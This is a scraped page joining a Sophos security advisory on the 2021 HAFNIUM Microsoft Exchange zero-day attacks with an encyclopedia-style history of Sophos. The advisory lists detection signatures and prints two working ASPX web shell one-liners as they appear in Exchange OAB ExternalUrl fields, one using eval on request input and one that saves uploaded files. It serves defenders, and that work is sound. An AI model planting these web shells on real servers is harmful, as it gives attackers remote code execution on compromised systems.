Sophos was founded by Jan Hruska and Peter Lammer and began producing its first antivirus and encryption products in 1985. During the late 1980s and into the 1990s, Sophos primarily developed and sold a range of security technologies in the UK, including encryption tools available for most users (private or business).In the late 1990s, Sophos concentrated its efforts on the. Sophos Support Plans Our support plans range from basic technical support to options including direct access to senior support engineers and customized delivery. Receive Training As a Sophos Customer, you can attend our courses and webinars to stay up to date.

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Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

Sophos protections against HAFNIUM

Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

Sophos MTR

The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

Sophos Firewall

IPS signatures for customers running SFOS and XFOS:

These signatures are also present on the Endpoint IPS in Intercept X Advanced.

IPS signatures for customers running Sophos UTM:

If you see these detection names on your networks you should investigate further and remediate.

Sophos Intercept X Advanced and Sophos Antivirus (SAV)

Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

Web shell related

• Troj/WebShel-L
• Troj/WebShel-M
• Troj/WebShel-N
• Troj/ASPDoor-T
• Troj/ASPDoor-U
• Troj/ASPDoor-V
• Troj/AspScChk-A
• Troj/Bckdr-RXD
• Troj/WebShel-O
• Troj/WebShel-P

Other payloads

• Mal/Chopper-A
• Mal/Chopper-B
• ATK/Pivot-B
• AMSI/PowerCat-A (Powercat)
• AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)

Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

We have also blocked relevant C2 IP destinations, where it was safe to do so.

In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

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Sophos EDR

Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

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When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

Identifying signs of compromise

The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

DearCry ransomware

The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

• Troj/Ransom-GFE
• CryptoGuard

Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC

Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC

Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC

Sophos Group plc is a British security software and hardware company. Sophos develops products for communication endpoint, encryption, network security, email security, mobile security and unified threat management. Sophos is primarily focused on providing security software to 100- to 5,000-seat organizations. While not a primary focus, Sophos also protects home users, through free and paid antivirus solutions (Sophos Home/Home Premium) intended to demonstrate product functionality. It was listed on the London Stock Exchange until it was acquired by Thoma Bravo in February 2020.

History[edit]

Sophos was founded by Jan Hruska and Peter Lammer and began producing its first antivirus and encryption products in 1985.^[2] During the late 1980s and into the 1990s, Sophos primarily developed and sold a range of security technologies in the UK, including encryption tools available for most users (private or business). In the late 1990s, Sophos concentrated its efforts on the development and sale of antivirus technology, and embarked on a program of international expansion.^[3]

In 2003, Sophos acquired ActiveState, a North American software company that developed anti-spam software. At that time viruses were being spread primarily through email spam and this allowed Sophos to produce a combined anti-spam and antivirus solution.^[4] In 2006, Peter Gyenes and Steve Munford were named chairman and CEO of Sophos, respectively. Jan Hruska and Peter Lammer remain as members of the board of directors.^[5] In 2010, the majority interest of Sophos was sold to Apax.^[6] In 2010, Nick Bray, formerly Group CFO at Micro Focus International, was named CFO of Sophos.^[7]

In 2011, Utimaco Safeware AG (acquired by Sophos in 2008–9) were accused of supplying data monitoring and tracking software to partners that have sold to governments such as Syria: Sophos issued a statement of apology and confirmed that they had suspended their relationship with the partners in question and launched an investigation.^[8][9] In 2012, Kris Hagerman, formerly CEO at Corel Corporation, was named CEO of Sophos and joined the company's board. Former CEO Steve Munford became non-executive chairman of the board.^[10] In February 2014, Sophos announced that it had acquired Cyberoam Technologies, a provider of network security products.^[11] In June 2015, Sophos announced plans to raise $US100 million on the London Stock Exchange.^[12] Sophos was floated on the FTSE in September 2015.^[13]

On 14 October 2019 Sophos announced that Thoma Bravo, a US-based private equity firm, made an offer to acquire Sophos for US$7.40 per share, representing an enterprise value of approximately $3.9 billion. The board of directors of Sophos stated their intention to unanimously recommend the offer to the company's shareholders.^[14] On 2 March 2020 Sophos announced the completion of the acquisition.^[15]

Acquisitions and partnerships[edit]

From September 2003 to February 2006, Sophos served as the parent company of ActiveState, a developer of programming tools for dynamic programming languages: in February 2006, ActiveState became an independent company when it was sold to Vancouver-based venture capitalist firm Pender Financial.^[16] In 2007, Sophos acquired ENDFORCE, a company based in Ohio, United States, which developed and sold security policy compliance and Network Access Control (NAC) software.^[17][18] In November 2016, Sophos acquired Barricade, a pioneering start-up with a powerful behavior-based analytics engine built on machine learning techniques,^[19] to strengthen synchronized security capabilities and next-generation network and endpoint protection. In February 2017, Sophos acquired Invincea, a software company that provides malware threat detection, prevention, and pre-breach forensic intelligence.^[20][21][22]

In March 2020, Thoma Bravo acquired Sophos for $3.9 billion.^[23]

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See also[edit]

References[edit]

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1. ^ ^abcd'Annual Report 2018'(PDF). Sophos. Retrieved 20 March 2019.
2. ^'Sophos: the early years'. Naked Security.
3. ^'Exterminator Tools'. Windows IT Pro. 15 November 1999. Retrieved 24 April 2017.
4. ^'Sophos acquires anti-spam specialist ActiveState'. www.sophos.com. Retrieved 3 January 2016.
5. ^'Sophos Management Team | Global Leaders in IT Security'. sophos.com.
6. ^'Apax Partners to acquire majority stake in Sophos'.
7. ^'Board of Directors'.
8. ^'The Bureau Investigates article'. Archived from the original on 4 December 2011.
9. ^'Statement from Sophos on Recent Media Reports'.
10. ^'Sophos Board of Directors webpage'.
11. ^'Sophos Acquires Cyberoam to Boost Layered Defense Portfolio'. Infosecurity Magazine.
12. ^'Sophos Plans $100 Million London IPO'.
13. ^'Sophos joins the UK's top public companies in the FTSE 250'.
14. ^'Sophos founders exit before Thoma Bravo sale'. Global Capital. 5 December 2019. Retrieved 25 February 2020.
15. ^'Sophos opens new chapter with take-private acquisition'.
16. ^'ActiveState Acquired by Employees and Pender Financial Group; Company Renews Focus on Tools and Solutions for Dynamic Languages'. Business Wire. 22 February 2006. Retrieved 24 April 2017.
17. ^'Sophos buys Endforce for network access control'. Network World. 11 January 2007. Retrieved 24 April 2017.
18. ^Wauters, Robin. 'Sophos beefs up on online security, acquires Dutch security software firm SurfRight for $31.8 million'. Retrieved 2 August 2016.
19. ^https://www.sophos.com/en-us/press-office/press-releases/2016/11/sophos-acquires-security-analytics-start-up-in-ireland.aspx
20. ^'Sophos Adds Advanced Machine Learning to Its Next-Generation Endpoint Protection Portfolio with Acquisition of Invincea'. Sophos. 8 February 2017. Retrieved 11 February 2017.
21. ^'Sophos grows anti-malware ensemble with Invincea'. Sophos. 8 February 2017. Retrieved 11 February 2017. One may ask, if you already have great next-generation technology, why do you need Invincea’s technology?...Think of Invincea as the superhero that takes our ensemble to the next level – the entity that adds neural network-based machine learning to the team.
22. ^'Sophos to Acquire Invincea to Add Industry Leading Machine Learning to its Next Generation Endpoint Protection Portfolio'. Invincea. 8 February 2017. Retrieved 11 February 2017.
23. ^'Thoma Bravo completes $3.9B Sophos acquisition'. TechCrunch. Retrieved 7 April 2020.

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External links[edit]

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